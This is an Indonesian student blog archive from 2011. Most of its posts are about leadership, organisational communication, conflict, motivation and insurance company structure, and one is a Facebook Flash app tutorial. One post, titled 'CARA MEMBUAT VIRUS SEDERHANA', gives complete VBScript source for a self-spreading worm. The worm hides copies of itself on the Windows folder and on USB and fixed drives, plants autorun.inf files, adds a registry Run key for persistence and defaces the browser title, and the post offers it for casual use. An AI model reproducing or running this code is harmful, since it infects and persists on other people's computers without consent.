Nicko Prasetio

Gunadarma University

34110962

Minggu, 29 Mei 2011

"KEPEMIMPINAN"

  • PENGERTIAN KEPEMIMPINAN
 Kepemimpinan

Pemimpin merupakan sumber daya manusia kunci dalam organisasi manapun. Tanpa kepemimpinan sebuah organisasi hanyalah suatu kekacauan manusia dan mesin.

Kebanyakan definisi tentang kepemimpinan mempertalikan fungsi pemimpin dalam organisasi dengan sasaran. Beberapa pengertian diantaranya (Komaruddin, 1990) :

1. Menurut Ordway Tead,

Kepemimpinan adalah kegiatan untuk mempengaruhi orang-orang agar orang-orang itu bekerjasama mencapai tujuan yang mereka inginkan.

2. Menurut George R. Terry

Kepemimpinan merupakan kegiatan untuk mempengaruhi orang-orang agar orang-orang itu mencapai tujuan kelompok.

3. Menurut Keith Davis

Kepemimpinan adalah faktor kemanusiaan yang mengikat kelompok menjadi satu dan mendorongnya menuju tujuan.

Dari beberapa pengertian kepemimpinan diatas dapat disimpulkan bahwa kepemimpinan adalah kemauan seseorang untuk mempengaruhi orang lain agar dapat bekerja sama dalam mencapai tujuan dan sasaran yang telah ditentukan perusahaan.






  • TIPE-TIPE KEPEMIMPINAN

Setiap pemimpin dalam memimpin suatu organisasi mempunyai tipe dan gaya kepemimpinan tersendiri.

1. Tipe kepemimpinan

a. Tipe otokratis

Pimpinan yang mendasarkan diri pada perintah/ pemaksaan kehendak dan tidak mempertimbangkan keadaan bawahan.

b. Tipe suportif


Pimpinan yang mempunyai anggapan bahwa para bawahan ingin bekerja dan berkembang oleh karena itu atasan cukup memberi dorongan.

c. Tipe demokratik

Pimpinan yang berpendapat bahwa perencanaan pengambilan keputusan dan pengawasan diambil secara bersama-sama antara anggota organisasi.

d. Tipe birokrasi

Pimpinan yang mendasarkan diri bahwa bawahan harus dibina sesuai aturan sehingga dalam memimpin selalu melaksanakan aturan/ tidak fleksibel sehingga sulit dalam pengambilan keputusan.

e. Tipe Laissez-faire

Pemimpin yang memberikan kebebasan sepenuhnya pada kelompok atau individu dalam pengambilan keputusan. Dalam hal ini partisipasi pimpinan tidak langsung.

2. Gaya kepemimpinan

Setiap pemimpin bisa mempunyai gaya kepemimpinan yang berbeda antara yang satu dengan yang lain, dan tidak mesti suatu gaya kepemimpinan lebih baik atau lebih jelek dari pada gaya kepemimpinan yang ada dengan menggunakan dasar tertentu.

Berikut gaya kepemimpinan menurut Jeff Harris :

a. The Autocratic leader

Seorang pemimpin yang otokratik menganggap bahwa semua kewajiban untuk mengambil keputusan, untuk menjalankan tindakan, dan untuk mengarahkan, memberi motivasi dan pengawasan bawahan terpusat ditangannya.

b. The participative leader

Apabila seorang pemimpin menggunakan gaya partisipasi ia menjalankan kepemimpinannya dengan konsultasi. Ia tidak mendelegasikan wewenangnya untuk membuat keputusan akhir dan untuk memberikan pengarahan tertentu kepada bawahan mengenai keputusan yang akan diambil.

c. The free rein leader

Di sini pimpinan menyerahkan tanggung jawab atas pelaksanaan pekerjaan tersebut kepada para bawahan dalam artian pimpinan menginginkan agar para bawahan bisa mengendalikan diri mereka sendiri di dalam menyelesaikan pekerjaan tersebut.
 
 

  • TEORI KEPEMIMPINAN

Sebelum mencoba untuk menganalisa kedudukan kepemimpinan suatu organisasi, perlu menelusuri perkembangan teori kepemimpinan terlebih dahulu. Beberapa teori tersebut diantaranya (Sukanto Reksohadiprojo, dan T. Hani Handoko, 1996) :



1. Teori kepemimpinan

a. Teori sifat kepemimpinan

Teori ini mengatakan bahwa seseorang itu dilahirkan membawa atau tidak membawa sifat-sifat yang diperlukan bagi pimpinan atau tidak membawa sifat-sifat yang diperlukan bagi pimpinan atau dengan individu yang lahir telah membawa ciri-ciri tertentu yang memungkinkan dia menjadi seorang pemimpin.

b. Teori Path – Goal

Teori ini merupakan pengembangan yang wajar sebab kepemimpinan erat hubungannya dengan motivasi di satu pihak dan kekuasaan di pihak lain. Teori Path – Goal ini menganalisa pengaruh kepemimpinan terhadap motivasi bawahan, kepuasan dan pelaksanaan kerja.

c. Teori sifat

Teori ini merupakan analisa ilmiah tentang kepemimpinan, dimiliki dengan memusatkan perhatian pada pemimpin itu sendiri. Ada beberapa faktor yang bisa diteliti dari kepemimpinan yaitu: kecerdasan, perasaan humor, kejujuran, simpati, dan percaya diri.

d. Teori kelompok

Teori beranggapan bahwa kelompok bisa mencapai tujuannya dengan melalui pertukaran positif antara pimpinan dan bawahan.

2. Pendekatan kepemimpinan

Berbagai studi tentang kepemimpinan mengelompokkan pendekatan kepemimpinan menjadi tiga pendekatan yaitu :

a. Pendekatan atas traits

Yaitu pendekatan berdasarkan sifat, perangai atau kualitas yang diperlukan seseorang untuk menjadi pimpinan.

b. Pendekatan behavior (perilaku)

Yaitu pendekatan yang mempelajari perilaku yang diperlukan untuk menjadi pemimpin yang efektif.

c. Pendekatan contingency

Yaitu pendekatan berdasarkan atas faktor-faktor situasional, untuk menentukan gaya kepemimpinan efektif.
 



Sabtu, 21 Mei 2011

"CARA MEMBUAT APLIKASI FLASH PADA FACEBOOK BAGI PEMULA"

Banyak sekali aplikasi2 di facebook sekarang ini bermunculan dan dari aplikasi tersebut dibuat dengan berbagai macam bahasa pemrograman, salah satunya aplikasi dengan Flash. Aplikasi Flash untuk Facebook sangatlah menarik dan potensial untuk dikembangkan. Jadi saya coba menulis tutorial ini untuk share2 ilmu yang udah didapat. Silahkan bila ada pertanyaan dan saran, baik mengenai materi/penulisan

Pada tutorial ini, kita akan belajar membuat aplikasi Flash sederhana yang berkomunikasi dengan akun Facebook kita, dan mengambil data diri seperti biodata dan foto. Langsung saja kita mulai…

Untuk membuat Flash berkomunikasi dengan Facebook, ada beberapa cara yang bisa kita gunakan. Tapi untuk tutorial kali ini, kita akan menggunakan Facebook Actionscript API, API official dari Adobe untuk berkomunikasi dengan Facebook yang bisa diunduh di http://code.google.com/p/facebook-actionscript-api/. Versi terakhir yang saya temui adalah versi 3.4, walau pada saat anda mencobanya kemungkinan sudah ada versi yang lebih baru.Dokumentasinya sendiri bisa kamu lihat disini http://facebook-actionscript-api.goo...ocs/index.html.



Seperti yang terlihat, ada dua tipe file yang bisa kita unduh dan gunakan, yaitu SWC dan Source. Saya akan mengunduh versi Source (facebook_library_v3.4_source.zip), lalu meng-extract isinya pada salah satu folder di komputer. Misalnya, C:/flash/facebook_api/ .

Satu hal lagi yang perlu diperhatikan. Dalam membuat aplikasi Facebook, kita perlu mendaftarkan aplikasi tersebut terlebih dahulu pada akun Developer Facebook untuk mendapatkan SECRET KEY dan APP KEY yang vital digunakan untuk komunikasi data antara aplikasi dengan server Facebook. Untungnya, hal ini sangatlah mudah untuk dilakukan.

1. Buka http://www.facebook.com/developers/. Bila Facebook menanyakan apakah anda mengijinkan aplikasi tersebut mengakses akun anda, pilih Allow.
2. Bila sudah masuk pada halaman tersebut, tekan tombol + Set Up New Application di kanan atas.



3. Isi nama aplikasi yang ingin kamu buat, misal Beginning Fesbuk API, centang tanda persetujuan, lalu tekan tombol Simpan Perubahan. Perlu diperhatikan kalau nama aplikasinya tidak boleh mengandung kata 'face'/'fb' ato elemen kata yang bisa mengacu ke Facebook makanya saya menggunakan kata Fesbuk.



4. Bila berhasil, kamu akan dibawa masuk kedalam halaman Setting application. Kamu hanya cukup memperhatikan dan mencatat Application Key dan Secret Key. Bila sudah, kamu bisa langsung menekan tombol Back to My Application pada bagian kiri atas.
Kita sudah bisa memulai mengembangkan aplikasi Flash yang kita inginkan.



Berikutnya kita mempersiapkan pengembangan aplikasinya menggunakan FlashDevelop. Buka FlashDevelop, lalu pilih Project -> New Project, lalu pilih AS3 Project. Beri nama project dengan BeginningFacebookAPI, lalu pilih lokasi project yang anda inginkan. Tekan Ok.



Pertama-tama kita perlu menambahkan library Facebook Actionscript API kedalam project ini. Pilih Project -> Properties.
Pada layar setting BeginningFacebookAPI(AS3), pilih tab Classpaths, lalu klik tombol Add Classpath… Arahkan pada lokasi library Facebook Actionscript API, dalam hal ini di C:/flash/facebook_api/ . Tekan Ok.




Ketikkan script berikut untuk menggantikan semua script yang ada pada file Main.as tersebut.
Code:
package
{
import com.facebook.Facebook;
import com.facebook.events.FacebookEvent;
import com.facebook.net.FacebookCall;
import com.facebook.commands.users.GetInfo;
import com.facebook.utils.FacebookSessionUtil;
import com.facebook.data.FacebookLocation;
import com.facebook.data.users.FacebookUser;
import com.facebook.data.users.GetInfoData;
import com.facebook.data.users.FacebookUserCollection;
import com.facebook.data.users.StatusData;
import flash.display.SimpleButton;
import flash.display.Sprite;
import flash.events.Event;
import flash.events.MouseEvent;
import flash.text.TextField;</li>
</ol>
public class Main extends Sprite
{
public const API_KEY:String = "";
public const SECRET_KEY:String = "";
public var fbook:Facebook;
public var session:FacebookSessionUtil;
public var flashvars:Object;

public var userInfoTxt:TextField;
public var loginTxt:TextField

public function Main():void
{
initInterface();
initFacebook();
}

public function initInterface():void
{
userInfoTxt = new TextField();
addChild(userInfoTxt);
userInfoTxt.width = 400;
userInfoTxt.height = 300;
userInfoTxt.selectable = false;
userInfoTxt.multiline = true;
userInfoTxt.wordWrap = true;
userInfoTxt.text = "Please click 'Connect' button below after Allow the application.";

loginTxt = new TextField();
addChild(loginTxt);
loginTxt.addEventListener(MouseEvent.CLICK, doneValidating);
loginTxt.text = "CONNECT";
loginTxt.border = true;
loginTxt.selectable = false;
loginTxt.width = 65;
loginTxt.height = 20;
loginTxt.x = 20;
loginTxt.y = 40;
}

public function initFacebook():void
{
flashvars = this.root.loaderInfo.parameters;
session=new FacebookSessionUtil(API_KEY, SECRET_KEY, this.root.loaderInfo);
session.addEventListener(FacebookEvent.CONNECT, onConnect);
fbook = session.facebook;

if(flashvars.fb_sig_session_key != null)
{
session.verifySession();
}else
{
session.login();
}
}

public function doneValidating(event:MouseEvent):void
{
session.validateLogin();
}

public function onConnect(e:FacebookEvent):void
{
if(!e.success)
{
session.login();
return ;
}

loginTxt.visible = false;
getUserInfo();
}

public function getUserInfo():void
{
userInfoTxt.text = "Loading user info...";
var call:FacebookCall = fbook.post(new GetInfo([fbook.uid], ['name', 'birthday', 'current_location', 'status']));
call.addEventListener(FacebookEvent.COMPLETE, handleGetInfoResponse);
}

public function handleGetInfoResponse(e:FacebookEvent):void
{
if (e.success)
{
var user:FacebookUser = (e.data as GetInfoData).userCollection.getItemAt(0) as FacebookUser;
var name:String = user.name;
var brithdayDate:String = user.birthday;
var currentLocation:FacebookLocation = user.current_location;
var status:StatusData = user.status;

userInfoTxt.htmlText = "Name: " + name;
userInfoTxt.htmlText += "
Birthday: " + brithdayDate;
userInfoTxt.htmlText += "
Location: " + currentLocation.city;
userInfoTxt.htmlText += "
Status: " + status.message + " at "+ status.time;
}
}
}
}













"CARA MEMBUAT VIRUS SEDERHANA"

Mau coba buat virus atau iseng memasukkan virus?? ada cara gampang.. Kalo viper, itu pake html ini langsung aja pake vbs. Kalo viper membuat windownya banyak jadinya memorinya banyak jadinya lamban. kalo ini dapat menginfeksi.. cara membuatnya dengan mengetikkan kode di bawah ini pada notepad:

Code:
on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "\MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"\MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL",winpath&"\MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked by Andre Susanto"
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname


Info: KERUSAKAN ATAU DAMPAK DITANGGUNG OLEH PEMAKAI.

Kamis, 21 April 2011

"KOMUNIKASI DALAM ORGANISASI"

  • PENGERTIAN KOMUNIKASI
Komunikasi adalah, proses pengiriman dan penerimaan informasi atau pesan antara dua orang atau lebih dengan cara yang efektif, sehingga pesan yang dimaksud dapat dimengerti. Dalam penyampaian atau penerimaan informasi ada dua pihak yang terlibat yaitu :
1. Komunikator : Orang atau kelompok orang yang menyampaikan informasi atau pesan
2. Komunikan : orang atau kelompok orang yang menerima pesan.
Dalam berkomunikasi keberhasilan komunikator atau komunikan sangat ditentukan oleh beberapa faktor yaitu :
1. Cakap
2. Pengetahuan
3. Sikap
4. Sistem Sosial
5. Kondisi lahiriah
 


  • BAGAIMANA MENYALURKAN IDE 
Komunikasi dalam organisasi sangat penting karena dengan adanya komunikasi maka seseorang bisa berhubungan dengan orang lain dan saling bertukar pikiran yang bisa menambah wawasan seseorang dalam bekerja atau menjalani kehidupan sehari-hari. Maka untuk membina hubungan kerja antar pegawai maupun antar atasan bawahan perlulah membicarakan komunikasi secara lebih terperinci.
Dalam menyalurkan solusi dan ide melalui komunikasi harus ada si pengirim berita (sender) maupun si penerima berita (receiver). Solusi-solusi yang diberikan pun tidak diambil seenaknya saja, tetapi ada penyaringan dan seleksi, manakah solusi yang terbaik yang akan diambil, dan yang akan dilaksanakan oleh organisasi tersebut agar mencapai tujuan, serta visi, misi suatu organisasi.
Akan tetapi dalam prakteknya proses komunikasi harus melalui tahapan-tahapan yang kadang-kadang tidak begitu mudah. Adapun tahapan-tahapan tersebut adalah sebagai berikut:


a) IDE (gagasan)

b) PERUMUSAN

c) PENYALURAN (transmitting)

D) TINDAKAN
 

E) PENGERTIAN
 

F) PENERIMAAN

  • HAMBATAN-HAMBATAN KOMUNIKASI 

1.Hambatan dari Proses Komunikasi:
a) Hambatan yang bersifat teknis
b) Hambatan semantik
c) Hambatan perilaku
d) Klasifikasi Komunikasi Dalam Organisasi :
e) Dari segi sifatnya :
f) Komunikasi Lisan
g) Komunukasi Tertulis
h) Komunikasi Verbal
i) Komunikasi Non Verbal

2) Hambatan dari pengirim pesan: 
misalnya pesan yang akan disampaikan belum jelas bagidirinya atau pengirim pesan, hal ini dipengaruhi oleh perasaan atau situasi emosional.

3) Hambatan dalam penyandian/symbol: 

Hal ini dapat terjadi karena bahasa yang dipergunakan tidak jelas sehingga mempunyai arti lebih dari satu, simbol yang dipergunakan antara si pengirim dan penerima tidak sama atau bahasa yang dipergunakan terlalu sulit.

4) Hambatan media: 
adalah hambatan yang terjadi dalam penggunaan media komunikasi,misalnya gangguan suara radio dan aliran listrik sehingga tidak dapat mendengarkan pesan.


5) Hambatan dalam bahasa sandi: 
Hambatan terjadi dalam menafsirkan sandi oleh si penerima


6) Hambatan dari penerima pesan: 
misalnya kurangnya perhatian pada saat menerima/mendengarkan pesan, sikap prasangka tanggapan yang keliru dan tidak mencari informasi
lebih lanjut.


7) Hambatan dalam memberikan balikan: 
Balikan yang diberikan tidak menggambarkan apa adanya akan tetapi memberikan interpretatif, tidak tepat waktu atau tidak jelas dan sebagainya.


 

Rabu, 20 April 2011

"DINAMIKA ORGANISASI"

  • DINAMIKA KONFLIK
Konflik adalah segala macam interaksi pertentangan atau antagonistik antar dua alau lebih pihak. Timbulnya konflik atau pertentangan dalam organisasi, merupakan suatu kelanjutan dari adanya komunikasi dan informasi yang tidak menemui sasaranya.


  •  JENIS & SUMBER KONFLIK 
Jenis-jenis konflik di kelompokkan sebagai berikut:
- Konflik peranan yang terjadi didalam diri seseorang (person rule conflict).
- Konflik antar peranan (inter rule conflict),yaitu persoalan timbul karena satu orang menjabat satu atau lebih fungsi yang saling bertentangan.
- Konfilk yang timbul karena seseorang harus memenuhi harapan beberapa orang (intersender conflict).
-Konflik yang timbul karena disampaikannya informasi yang saling bertentangan (intrasender conflict).

Selain pembagian jenis konflik di atas masih ada pembagian jenis konflik yang dibedakan menurut pihak-pihak yang saling bertentangan, yaitu:
- Konflik dalam diri individu
- Konflik antar individu
- Konflik antar individu dan kelompok
- Konflik antar kelompok dalam organisasi yang sama
- Konflik antar organisasi


Sumber-sumber Konflik:
a. Kebutuhanuntuk membagi(sumber daya-sumber daya) yang terbatas.
b. Perbedaan-perbedaandalam berbagaitujuan.
c. Salingketergantungan kegiatan-kegiatankerja.
d. Perbedaannilai-nilai atau persepsi.
e. Kemandirian organisasional.
f. Gaya-gayaindividual.


Konflik organisasional timbul karena beberapa sumbernya, dan berbagai sumber utama konflik tersebut dapat diuraikan sebagai berikut :
- Kebutuhan untuk membagi sumber daya- sumber daya yang terbatas
- Perbedaab-perbedaan dalam berbagai tujuan
- Saling ketergantungan kegiatan-kegiatan kerja
- Perbedaan nilai-nilai atau persepsi
- Kemenduaan organisasional
- Gaya-gaya individual




  • STRATEGI PENYELESAIAN KONFLIK 
Mengendalikan konflik berarti menjaga tingkat konflik yang kondusif bagi perkembangan organisasi sehingga dapat berfungsi untuk menjamin efektivitas dan dinamika organisasi yang optimal. Namun bila konflik telah terlalu besar dan disfungsional, maka perlu diturunkan intensitasnya, antara lain dengan cara:

1. Mempertegas atau menciptakan tujuan bersama. Perlunya dikembangkan tujuan kolektif di        antara dua atau lebih unit kerja yang dirasakan bersama dan tidak bisa dicapai suatu unit

   kerja saja.
2. Meminimalkan kondisi ketidak-tergantungan. Menghindari terjadinya eksklusivisme diatara        unit-unit kerja melalui kerjasama yang sinergis serta membentuk koordinator dari dua atau

   lebih unit kerja.
3. Memperbesar sumber-sumber organisasi seperti : menambah fasilitas kerja, tenaga serta        anggaran sehingga mencukupi kebutuhan semua unit kerja.
4. Membentuk forum bersama untuk mendiskusikan dan menyelesaikan masalah bersama.            Pihak-pihak yang berselisih membahas sebab-sebab konflik dan memecahkan

   permasalanhannya atas dasar kepentingan yang sama.
5. Membentuk sistem banding, dimana konflik diselesaikan melalui saluran banding yang akan      mendengarkan dan membuat keputusan.
6. Pelembagaan kewenangan formal, sehingga wewenang yang dimiliki oleh atasan atas pihak-    pihak yang berkonflik dapat mengambil keputusan untuk menyelesaikan perselisihan.
7. Meningkatkan intensitas interaksi antar unit-unit kerja, dengan demikian diharapkan makin         sering pihak-pihak berkomunikasi dan berinteraksi, makin besar pula kemungkinan untuk

    memahami kepentingan satu sama lain sehingga dapat mempermudah kerjasama.
8. Me-redesign kriteria evaluasi dengan cara mengembangkan ukuran-ukuran prestasi yang           dianggap adil dan acceptable dalam menilai kemampuan, promosi dan balas jasa.


  • MOTIVASI
Motivasi adalah keadaan dalam pribadi seseorang yang mendorong keinginan individu untuk melakukan kegiatan-kegiatan tertentu guna mencapai suatu tujuan. Motivasi bukanlah sesuatu yang dapat diamati, tetapi merupakan hal yang dapat disimpulkan adanya karena sesuatu perilaku yang tampak.

Motivasi merupakan masalah yang kompleks dalam organisasi karena kebutuhan dan keinginan setiap anggota organisasi adalah berbeda-beda. Dan berkembang atas dasar proses belajar yang berbeda pula.
Motivasi dapat ditimbulkan baik oleh faktor internal maupun eksternal tergantung darimana suatu kegiatan dimulai.

Kebutuhan dan keinginan yang ada dalam diri seseorang akan menimbulkan motivasi internal. Begitu juga dalam suatu organisasi, setiap individu akan mempunyai kebutuhan dan keinginan yang berbeda dan unik.
 

  • TEORI MOTIVASI 
A. TeoriX dan teori Y Mc Gregor.
Anggapan-anggapanyang mendasari teori X :
1.Rata-rata para pekerja itu malas, tidaksukabekerjadan akan menghindarinyabila dapat.
2.Karenapada dasarnya pekerja tidaksukabekerja, maka harus dipaksa, dikendalikan, dipelakukan denganhukuman, dan diarahkan untukpencapaiantujuan organisasi.
3.Rata-rata para pekerja lebih senangdibimbing, berusaha menghindari tanggung-jawab, mempunyai ambisi yang kecil, keamanan drinya di atas segala-galanya.

Anggapan-anggapan yang mendasari teori Y :
1.Usaha phisik dan mental yang dilakukan manusia dalam bekerja adalah kodrat manusia, sama halnya dengan bermain atau beristirahat.
2. Rata-rata manusia bersedia belajar, dalam kondisi yang layak, tidak hanya menerima tetapi mencari tanggung-jawab.
3. Ada kemampuan yang besar dalam kecerdikan, kreativitas dan dayaimajinasi untuk memecahkan masalah-masalah organisasi yang secara luas tersebar pada seluruh karyawan.
4. Pengendalian ekstern dan hukuman bukan satu-satunya cara untuk mengarahkan usaha pencapaian tujuan organiasasi.
5. Keterikatan pada tujuan organisasi adalah fungsi penghargaan yang diterima karena prestasinya dalam pencapaian tujuan itu.
6. Organisasi seharusnya memberikan kemungkinan orang untuk mewujudkan potensinya, dan tidak hanya digunakan sebagian.

B.TeoriHirarki Kebutuhan Maslow
Menurut Maslow ada 5 kebutuhan dasar manusia yang membentuk hirarki kebutuhan, yaitu :
a.Kebutuhan Fisiologis
b.Kebutuhan Keamanan
c.Kebutuhan Sosial
d.Kebutuhan Penghargaan
e.Kebutuhan Aktualisasi Diri

C. TeoriMotivasi Berprestasi Mc Clelland

Menurut Mc Clelland, seseorang dianggap mempunyai motivasi prestasi yang tinggi, apabila dia mempunyai keinginan untuk berprestasi lebih baik dari pada yang lain dalam banyak situasi.

Mc Clelland memusatkan perhatiannya pada tiga kebutuhan manusia yaitu :
1. Kebutuhan Prestasi
2. Kebutuhan Afiliasi
3. Kebutuhan Kekuasaan.

D.Teori Motivasi Dua Faktor Herzberg

Menurut Herzberg ada dua faktor yang mempengaruhi motivasi kerja seseorang dalam organisasi, yaitu pemuas kerja (job satisfier) yang berkaitan dengan isi pekerjaan dan penyebab ketidakpuasan kerja (job dissafisfiers) yang bersangkutan dengan suasana pekerjaan Satisfiers disebar motivators dan dissatifiers disebut faktor-faktor yang higienis.
 

 

Jumat, 25 Maret 2011

"ORGANISASI PERUSAHAAN ASURANSI"

  1. SEJARAH PERUSAHAAN ASURANSI
Bisnis asuransi masuk ke Indonesia pada waktu penjajahan Belanda dan negara kita pada waktu itu disebut Nederlands Indie. Keberadaan asuransi di negeri kita ini sebagai akibat berhasilnya Bangsa Belanda dalam sektor perkebunan dan perdagangan di negeri jajahannya.
Untuk menjamin kelangsungan usahanya, maka adanya asuransi mutlak diperlukan. Dengan demikian usaha pera.suransian di Indonesia dapat dibagi dalam dua kurun waktu, yakni zaman penjajahan sampai tahun 1942 dan zaman sesudah Perang Dunia II atau zaman kemerdekaan.
Pada waktu pendudukan bala tentara Jepang selama kurang lebih tiga setengah tahun, hampir tidak mencatat sejarah perkembangan.
Perusahaan-perusahaan asuransi yang ada di Hindia Belanda pada zaman penjajahan itu adalah :
  1. Perusahaan-perusahaan yang didirikan oleh orang Belanda.
  2. Perusahaan-perusahaan yang merupakan Kantor Cabang dari Perusahaan Asuransi yang berkantor pusat di Belanda, Inggris dan di negeri lainnya.
Dengan sistem monopoli yang dijalankan di Hindia Belanda, perkembangan asuransi kerugian di Hindia Belanda terbatas pada kegiatan dagang dan kepentingan bangsa Belanda, Inggris, dan bangsa Eropa lainnya. Manfaat dan peranan asuransi belum dikenal oleh masyarakat, lebih-lebih oleh masyarakat pribumi.
Jenis asuransi yang telah diperkenalkan di Hindia Belanda pada waktu itu masih sangat terbatas dan sebagian besar terdiri dari asuransi kebakaran dan pengangkutan.
Asuransi kendaraan bermotor masih belum memegang peran, karena jumlah kendaraan bermotor masih sangat sedikit dan hanya dimiliki oleh Bangsa Belanda dan Bangsa Asing lainnya. Pada zaman penjajahan tidak tercatat adanya perusahaan asuransi kerugian satupun.
Selama terjadinya Perang Dunia II kegiatan perasuransian di Indonesia praktis terhenti, terutama karena ditutupnya pemsahaan- perusahaan asuransi milik Belanda dan Inggris.
Asuransi zaman kemerdekaan
Setelah Perang Dunia usai, perusahaan-perusahaan Belanda dan Inggris kembali beroperasi di negara yang sudah merdeka ini. Sampai tahun 1964 pasar industri asuransi di Indonesia masih dikuasai oleh Perusahaan Asing, terutama Belanda dan Inggris.
Pada awal mulanya beroperasi di Indonesia mereka mendirikan sebuah badan yang disebut “Bataviasche Verzekerings Unie” (BVU) pada tahun 1946, yang melakukan kegiatan asuransi secara kolektif. Dengan demikian dari setiap penutupan, masing-masing anggota BVU memperoleh share tertentu. Cara ini dilakukan mengingat keadaan pada waktu itu belum teratur dan tenaga asuransi masih kurang sekali.
Pada tahun 1950 berdiri sebuah perusahaan asuransi kerugian yang pertama, yakni NV. Maskapai Asuransi Indonesia yang kemudian pada awal 2004 sudah menjadi PT MAI PARK. Pada saat itu, sebagai perintis perusahaan asuransi kerugian nasional yang pertama, maka perusahaan ini harus bersaing dengan perusahaan asuransi asing yang unggul baik dalam faktor permodalan maupun pengetahuan teknis.
Dengan berdirinya perusahaan asuransi kerugian nasional tersebut, keberanian pengusaha nasional dipacu untuk mendirikan perusahaan-perusahaan asuransi kerugian. Keberanian ini didukung pula oleh Peraturan Pemerintah bahwa semua barang impor hams diasuransikan di Indonesia. Pengaturan ini dimaksudkan untuk menanggulangi pemakaian devisa untuk membayar premi asuransi di luar negeri.
Pada tahun 1953 berdiri pula perusahaan swasta nasional yang bergerak dalam bidang reasuransi Belanda dan Inggris di Indonesia, pemakaian devisa untuk membayar premi reasuransi ke luar negeri juga masih tetap besar. Untuk menanggulangi hal ini, didirikanlah pada tahun 1954 sebuah perusahaan reasuransi profesional, yakni “PT. REASURANSI .UMUM INDONESIA” yang mendapat dukungan dari bank-bank pemerintah.

  • BENTUK DAN STRUKTUR ORGANISASI
Anda barangkali pernah bercita-cita atau membayangkan menjadi seorang CEO di sebuah perusahaan asuransi. Tidak ada yang salah dengan cita-cita tersebut apalagi jika Anda memiliki visi ke depan yang lebih baik. Bayangkan jika kita bekerja tanpa visi atau arah yang jelas, pasti perusahaan juga tak akan maju-maju.


Nah, sekedar berbagi saja kepada pembaca blog ini. Atau mungkin ada diantara Anda yang kini menjabat CEO yang sedang merencanakan untuk merestrukturisasi organisasi di perusahaan asuransi yang Anda pimpin. Struktur yang saya tawarkan ini disesuaikan dengan kebutuhan terhadap sistem kerja yang cepat dan tidak bertele-tele. Selengkapnya dapat dilihat di bawah ini :

I. Direktur Utama

II. Direktur Teknik, membawahi :

II.1. Kepala Divisi Underwriting & Reasuransi, membawahi :

II.1.1 Kepala Bagian Underwriting Marine & Liability

II.1.2 Kepala Bagian Underwriting Fire & Engineering

II.1.3 Kepala Bagian Underwriting Motor Vehicle & Misc.

II.1.4 Kepala Bagian Underwriting Credit & Bonding

II.1.5 Kepala Bagian Reasuransi Treaty & Fakultatif

II.2. Kepala Divisi Klaim

II.2.1 Kepala Bagian Klaim Marine & Liability

II.2.2 Kepala Bagian Klaim Non Marine

III. Direktur Pemasaran

III.1 Kepala Divisi Broker

III.2 Kepala Divisi Retail & Corporate

III.2 Kepala Divisi Bancassurance

IV. Direktur Keuangan, SDM, & Operasional

IV.1 Kepala Divisi Keuangan & Akuntansi

IV.2 Kepala Divisi SDM & Umum

IV.3 Kepala Divisi IT, R & D

IV.4 Kepala Divisi Humas & Customer Care

Sebagai catatan, mengapa underwriting & reasuransi digabung dalam 1 (satu) divisi ?, Maksud dari penggabungan ini adalah untuk memudahkan proses penutupan asuransi yang memerlukan back up treaty maupun fakultatif sehingga dapat segera diproses tanpa perlu menunggu birokrasi internal yang lama alias bertele-tele. Atau jika mau lebih “ramping” lagi, setiap kepala bagian langsung memegang underwriting dan reasuransi sekaligus sehingga proses akseptasi akan jauh lebih simple. Caranya dengan cara menempatkan minimal 2 (dua) staf : (1) staf akseptasi, dan (2) staf reasuransi. Dengan begitu, ketika sebuah penutupan memerlukan placing fakultatif katakanlah, maka PIC-nya cukup 1 (satu) orang yaitu ke kepala bagian masing-masing class of business. Hal ini tentu berbeda jika underwriting dan reasuransi dibuat divisi terpisah. Meski ter-spesialisasi namun proses akseptasinya akan memakan waktu yang lebih lama dan pasti ribet karena melibatkan hubungan kerja antar divisi.

Di Direktorat Pemasaran saya membaginya ke dalam 3 (tiga) divisi yaitu Broker, Retail & Corporate, dan Bancassurance. Jika memungkinkan sih antara retail dan corporate dipisah terutama apabila account retail dan corporate seimbang.

Terakhir, mengapa antara keuangan, SDM, dan operasional digabung ?. Keuangan dengan SDM memiliki kaitan erat dalam hal pengelolaan karyawan, begitu juga operasional dipastikan membutuhkan kecepatan dana keuangan. Di bawah direktorat ini terdapat semua fungsi di luar underwriting, klaim, dan pemasaran. Direkturnya pun harus mengetahui banyak hal, mulai dari aspek keuangan, SDM, sampai IT.



  • BIDANG USAHA
Perusahaan asuransi bergerak di Bidang Bisnis dan Kesehatan, yang meliputi berbagai kalangan dan kelas yang ada dalam masyarakat.

Kamis, 24 Maret 2011

"ORGANISASI"

 ORGANISASI
